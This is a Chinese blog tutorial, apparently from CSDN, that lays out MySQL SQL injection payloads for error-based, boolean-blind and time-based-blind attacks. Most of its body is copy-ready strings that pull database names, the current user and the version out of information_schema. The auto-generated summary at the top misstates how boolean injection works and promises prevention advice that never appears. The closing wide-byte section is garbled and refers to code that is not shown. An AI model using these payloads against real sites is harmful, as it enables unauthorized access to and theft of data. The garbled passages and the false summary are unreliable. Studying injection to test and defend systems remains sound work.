sql注入-error、boolean、time-based and 宽字节

本文详细介绍了SQL注入的三种主要类型:Error-based、Boolean-based和Time-based Blind SQL注入,包括利用前提、示例和各自的优缺点。Error-based注入依赖于错误信息的输出,Boolean-based注入则通过页面响应时间变化来探测,而Time-based注入则通过延时操作进行判断。此外,还提到了宽字节注入问题和如何防止。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

1、Error-based SQL injection

利用前提:

页面上没有显示位,但是需要输出SQL语句执行错误信息。比如mysqli_error()

优点:
不需要显示位
缺点:
需要输出mysqli_error( )的报错信息

  • 通过floor报错

    select 列1(count()) , 列2(concat()随机数) as x from 表 group by x;
    select count(
    ),concat(database(),floor(rand(0)*2)) as x from users group by x
    select * from users where id = 1 and (select 345 from (表) as b )

  • 获取有多少个数据库

    and (select 1 from(select count(*),concat((select (select (select
    concat(0x7e,count(schema_name),0x7e) from information_schema.schemata)) from
    information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables
    group by x)a)

  • 通过limit 获取所有数据库名

    and (select 1 from(select count(*),concat((select (select (select concat(0x7e,
    schema_name, 0x7e) from information_schema.schemata limit 0,1)) from
    information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables
    group by x)a)

  1. 通过ExtractValue报错

    and extractvalue(1, (payload))
    and extractvalue(1, concat(0x7e,(select @@version),0x7e))

  2. 通过UpdateXML报错

    and updatexml(1,(payload),1)
    and updatexml(1, (concat(0x7e,(select @@version),0x7e)),1)

2、Boolean-based blind SQL injection

利用前提

页面上没有显示位,也没有输出SQL语句执行错误信息。只能通过页面返回正常不正常

优点:
不需要显示位,不需要出错信息。
缺点:
速度慢,耗费大量时间。

需要掌握的几个函数
  • exists( )
  • ascii( )
  • substr( string,pos,length) // 下标从1开始
  • exists( )函数:
  • esists 用于检查子查询是否只要会返回一行数据,该子查询实际上并不返回任何数据,而是返回True或False。
  • ascii( )函数:返回字符串str的最左面字符的ASCII代码值。如果str是空字符串,返回0。如果str是NULL,返回NULL。
  • substr( ) 函数:substr(string, num start, num length);string 为字符串,start为起始位置;下标从1开始;length为长度。

example:
and exists (select user())
and substr((select user()), 1, 1)=‘r’
and substr((select user()), 2, 1)=‘o’
and ascii(“r”)=114
and ascii(substr((select user()), 1, 1))>114
and ascii(substr((select user()), 2, 1))>111
?id=1’ and exists(select * from information_schema.tables) --+
?id=1’ and (select length(version()))=6 --+ //判断version()返回字符串长度。
?id=1’ and (select count(table_schema) from information_schema.tables) > 8 --+
//判断有多少数据库
?id=1’ and (select ascii(substr((select table_schema from information_schema.tables limit 0,
1), 1, 1)))>105 --+ //判断第一个库的第一个字符
Time-based blind SQL injection

3、Time-based blind SQL injection

利用前提

页面上没有显示位,也没有输出SQL语句执行错误信息。正确的SQL语句和错误的SQL语句返回页面都一样,但是加入sleep(5)条件之后,页面的返回速度明显慢了5秒。

优点:
不需要显示位,不需要出错信息。
缺点:
速度慢,耗费大量时间。

  • IF(Condition,A,B)函数:当Condition为TRUE时,返回A;当Condition为FALSE时,返回B。
    eg:if(ascii(substr(“hello”, 1, 1))=104, sleep(5), 1)

  • if(ascii(substr((payload), 1, 1))=114, sleep(5), 1)
    if((select count(distinct table_schema) from information_schema.tables)=17, sleep(5), 1)//获取当前数据库个数

  • if(ascii(substr((select user()), 1, 1))=114, sleep(5), 1) //获取当前连接数据库用户第一个字母

  • if(ascii(substr((select distinct table_schema from information_schema.tables limit 0, 1), 1, 1))=105,sleep(5), 1) //判断第一个数据库第一个字符。

  • if(ascii(substr((select distinct table_schema from information_schema.tables limit 0, 1), 2, 1))=110,sleep(5), 1) //判断第一个数据库第二个字符。

4、宽字节注入的问题

以上代码中:
mysql_query(“SET NAMES ‘gbk’”, $con); //设置了GBK编码,把数据库信息填写进去。
age=addslashes(age = addslashes(age=addslashes(_GET[‘age’]);
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串
预定义字符

  • 单引号(’)
  • 双引号(")
  • 反斜杠(\)
  • NULL
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值